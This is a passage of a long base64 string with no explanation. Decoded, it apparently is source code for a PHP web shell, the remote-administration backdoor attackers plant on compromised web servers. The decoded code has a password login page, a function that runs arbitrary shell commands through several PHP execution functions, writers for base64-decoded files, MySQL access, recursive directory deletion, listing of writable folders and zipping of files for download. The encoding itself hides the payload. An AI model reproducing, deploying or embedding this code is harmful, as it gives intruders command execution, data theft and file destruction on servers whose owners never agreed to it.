XggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7DQoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107DQoJJHVzZXBvcnQgPSAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAxIDogMDsNCglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOw0KfQ0KZnVuY3Rpb24gbXVsdGkoJG51bSwgJHBlcnBhZ2UsICRjdXJwYWdlLCAkdGFibGVuYW1lKSB7DQoJJG11bHRpcGFnZSA9ICcnOw0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KCQkkcGFnZSA9IDEwOw0KCQkkb2Zmc2V0ID0gNTsNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCgkJaWYoJHBhZ2UgPiAkcGFnZXMpIHsNCgkJCSRmcm9tID0gMTsNCgkJCSR0byA9ICRwYWdlczsNCgkJfSBlbHNlIHsNCgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0Ow0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KCQkJaWYoJGZyb20gPCAxKSB7DQoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207DQoJCQkJJGZyb20gPSAxOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSR0byA9ICRwYWdlOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCR0byA+ICRwYWdlcykgew0KCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87DQoJCQkJJHRvID0gJHBhZ2VzOw0KCQkJCWlmKCgkdG8gLSAkZnJvbSkgPCAkcGFnZSAmJiAoJHRvIC0gJGZyb20pIDwgJHBhZ2VzKSB7DQoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoJCWZvcigkaSA9ICRmcm9tOyAkaSA8PSAkdG87ICRpKyspIHsNCgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsNCgkJfQ0KCQkkbXVsdGlwYWdlIC49ICgkY3VycGFnZSA8ICRwYWdlcyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgKyAxKS4nKTsiPk5leHQ8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5MYXN0PC9hPicgOiAnJyk7DQoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7DQoJfQ0KCXJldHVybiAkbXVsdGlwYWdlOw0KfQ0KLy8gTG9naW4gcGFnZQ0KZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KPz4NCjxodG1sPg0KPGhlYWQ+DQoNCjxib2R5IGJnY29sb3I9d2hpdGUgYmFja2dyb3VuZD0xLmpwZz4NCg0KCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4NCjx0aXRsZT5CQ0E8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogZ3JlZW4gfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6cmVkfQ0KQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogZ3JlZW47fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDExcHQ7DQoJY29sb3I6IAkjRkZGRkZGOw0KCWZvbnQtZmFtaWx5OiBjb21pYyBzYW5zIG1zOw0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoJYm9yZGVyLWxlZnQ6IDJweCBkYXNoZWQgIzUwOGE1NzsNCglib3JkZXItdG9wOiAycHggZGFzaGVkICM1MDhhNTc7DQoJYm9yZGVyLXJpZ2h0OiAycHggZGFzaGVkICM1MDhhNTc7DQoJYm9yZGVyLWJvdHRvbTogMnB4IGRhc2hlZCAjNTA4YTU3Ow0KfQ0KDQo8L3N0eWxlPg0KDQogICAgICAgPEJSPjxCUj4NCjxkaXYgYWxpZ249Y2VudGVyID4NCg0KPGRpdj4NCjxmb250IGNvbG9yPWdyYXk+DQo8YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIgLz4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQoJPHNwYW4gc3R5bGU9ImZvbnQ6MjBwdCB0YWhvbWE7Ij4gPC9zcGFuPjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiIHNpemU9IjMwIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTDBnaU4iPg0KCTwvZm9ybT4NCjxCUj4NCjw/cGhwDQplY2hvICIiLiRlcnJfbWVzcy4iIjsNCj8+DQoNCgk8Qj48Zm9udCBjb2xvcj1yZWQ+DQoNCg0KDQoNCg0KDQo8L2Rpdj4NCg0KDQoJPC9maWVsZHNldD4NCg0KDQoNCjwvaGVhZD4NCjwvaHRtbD4NCg0KDQo8P3BocA0KCWV4aXQ7DQoNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsNCgkkcmVzID0gJyc7DQoJaWYgKCRjZmUpIHsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCgkJCUBleGVjKCRjZmUsJHJlcyk7DQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCgkJCSRyZXMgPSAnJzsNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCgkJCQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsNCgkJCX0NCgkJCUBwY2xvc2UoJGYpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOw0KfQ0KDQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpew0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KDQovLyBEZWJ1Zw0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCWdsb2JhbCAkc3RhcnR0aW1lOw0KCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCg0KfQ0KDQovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlDQpmdW5jdGlvbiBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZT0nJywkY2hhcnNldD0nJywkZGJwb3J0PSczMzA2Jykgew0KCWlmKCEkbGluayA9IEBteXNxbF9jb25uZWN0KCRkYmhvc3QuJzonLiRkYnBvcnQsICRkYnVzZXIsICRkYnBhc3MpKSB7DQoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsNCgkJZXhpdDsNCgl9DQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgew0KCQlpZiAoIUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJGxpbmspKSB7DQoJCQlwKCc8aDI+RGF0YWJhc2Ugc2VsZWN0ZWQgaGFzIGVycm9yPC9oMj4nKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgew0KCQlpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRjaGFyc2V0KSwgYXJyYXkoJ2diaycsICdiaWc1JywgJ3V0ZjgnKSkpIHsNCgkJCXEoIlNFVCBjaGFyYWN0ZXJfc2V0X2Nvbm5lY3Rpb249JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfcmVzdWx0cz0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9jbGllbnQ9YmluYXJ5OyIsICRsaW5rKTsNCgkJfQ0KCX0NCglyZXR1cm4gJGxpbms7DQp9DQoNCi8vIEFycmF5IHN0cmlwDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsNCgkJfQ0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCXJldHVybiAkYXJyYXk7DQp9DQoNCi8vIEhUTUwgU3RyaXANCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsNCgkkY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHQiLCAiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCXJldHVybiAkY29udGVudDsNCn0NCg0KLy8gQ2htb2QNCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7DQoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCn0NCg0KZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7DQoJJG1vZGUgPSBAZmlsZXBlcm1zKCRmaWxlcGF0aCk7DQoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gJ2wnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gJ2InO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30NCgllbHNlIHskdHlwZSA9ICc/Jzt9DQoNCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXJbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQoJJG93bmVyWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7DQoJJGdyb3VwWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCSRncm91cFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOw0KCSR3b3JsZFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCgkkd29ybGRbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCg0KCWlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQ0KDQoJcmV0dXJuICR0eXBlLiRvd25lclsncmVhZCddLiRvd25lclsnd3JpdGUnXS4kb3duZXJbJ2V4ZWN1dGUnXS4kZ3JvdXBbJ3JlYWQnXS4kZ3JvdXBbJ3dyaXRlJ10uJGdyb3VwWydleGVjdXRlJ10uJHdvcmxkWydyZWFkJ10uJHdvcmxkWyd3cml0ZSddLiR3b3JsZFsnZXhlY3V0ZSddOw0KfQ0KDQpmdW5jdGlvbiBnZXRVc2VyKCRmaWxlcGF0aCkJew0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7DQoJCWlmICgkYXJyYXkgJiYgaXNfYXJyYXkoJGFycmF5KSkgew0KCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOw0KCQl9DQoJfQ0KCXJldHVybiAnJzsNCn0NCg0KLy8gRGVsZXRlIGRpcg0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7DQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOw0KCQl9DQoJfQ0KCSRteWRpci0+Y2xvc2UoKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7DQp9DQoNCi8vIEJhY2tncm91bmQNCmZ1bmN0aW9uIGJnKCkgew0KCWdsb2JhbCAkYmdjOw0KCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOw0KfQ0KDQovLyBHZXQgcGF0aA0KZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7DQoJfQ0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsNCglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7DQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KCX0NCglyZXR1cm4gJG5vd3BhdGg7DQp9DQoNCi8vIEdldCB1cCBwYXRoDQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsNCgkkbnVtID0gY291bnQoJHBhdGhkYik7DQoJaWYgKCRudW0gPiAyKSB7DQoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOw0KCX0NCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsNCglyZXR1cm4gJHVwcGF0aDsNCn0NCg0KLy8gQ29uZmlnDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOw0KCWlmICgkcmVzdWx0ID09IDApIHsNCgkJcmV0dXJuICdObyc7DQoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgew0KCQlyZXR1cm4gJ1llcyc7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ0KDQovLyBGdW5jdGlvbiBuYW1lDQpmdW5jdGlvbiBnZXRmdW4oJGZ1bk5hbWUpIHsNCglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsNCn0NCg0KZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsNCglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7DQoJISRqICYmICRqPTE7DQoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoJCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7DQoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpew0KCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsNCgkJCQkJJGRpcmRhdGFbJGpdWydmaWxlbmFtZSddPXN0cl9yZXBsYWNlKCRub3dwYXRoLCcnLCRmKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlycGVybSddPWdldFBlcm1zKCRmKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsNCgkJCQkJJGRpcmRhdGFbJGpdWydjbGllbnRfbGluayddPXVlKCRmKTsNCgkJCQkJJGorKzsNCgkJCQl9DQoJCQkJR2V0TGlzdCgkZik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJcmV0dXJuICRkaXJkYXRhOw0KCX0gZWxzZSB7DQoJCXJldHVybiBhcnJheSgpOw0KCX0NCn0NCg0KZnVuY3Rpb24gcXkoJHNxbCkgew0KCS8vZWNobyAkc3FsLic8YnI+JzsNCgkkcmVzID0gJGVycm9yID0gJyc7DQoJaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCkpIHsNCgkJcmV0dXJuIDA7DQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoJCXJldHVybiAxOw0KCX0gZWxzZSB7DQoJCXJldHVybiAyOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gcSgkc3FsKSB7DQoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsNCn0NCg0KZnVuY3Rpb24gZnIoJHF5KXsNCglteXNxbF9mcmVlX3Jlc3VsdCgkcXkpOw0KfQ0KDQpmdW5jdGlvbiBzaXplY291bnQoJHNpemUpIHsNCglpZigkc2l6ZSA+IDEwNzM3NDE4MjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gJyBNJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsNCgl9IGVsc2Ugew0KCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCgl9DQoJcmV0dXJuICRzaXplOw0KfQ0KDQovLyBaaXANCmNsYXNzIFBIUFppcHsNCgl2YXIgJG91dD0nJzsNCglmdW5jdGlvbiBQSFBaaXAoJGRpcikJew0KCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7DQoJCQkkY3VyZGlyID0gZ2V0Y3dkKCk7DQoJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9ICRkaXI7DQoJCQllbHNlew0KCQkJCSRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvL0ZpbGUgbGlzdA0KCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRrPT4kdikgJGZpbGVsaXN0W109c3Vic3RyKCR2LHN0cmxlbigkZGlyKSsxKTsNCgkJCX0NCgkJCWlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOw0KCQkJZWxzZSBjaGRpcigkY3VyZGlyKTsNCgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7DQoJCQkJCWlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsNCgkJCQkJCSRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCQkJZmNsb3NlICgkZmQpOw0KCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOw0KCQkJCWNoZGlyKCRjdXJkaXIpOw0KCQkJfQ0KCQkJcmV0dXJuIDE7DQoJCX0NCgkJZWxzZSByZXR1cm4gMDsNCgl9DQoNCgkvLyBTaG93IGZpbGUgbGlzdA0KCWZ1bmN0aW9uIEdldEZpbGVMaXN0KCRkaXIpew0KCQlzdGF0aWMgJGE7DQoJCWlmIChpc19kaXIoJGRpcikpIHsNCgkJCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpew0KCQkJCQkJJGY9JGRpciAuJy8nLiAkZmlsZTsNCgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoJCQkJCQkkYVtdPSRmOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRhOw0KCX0NCg0KCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgl2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldCAgID0gMDsNCg0KCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KCQlpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQoJCQkkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQoJCQkkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KCQl9IC8vIGVuZCBpZg0KCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KCQkJCSgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KCX0NCg0KCWZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDAp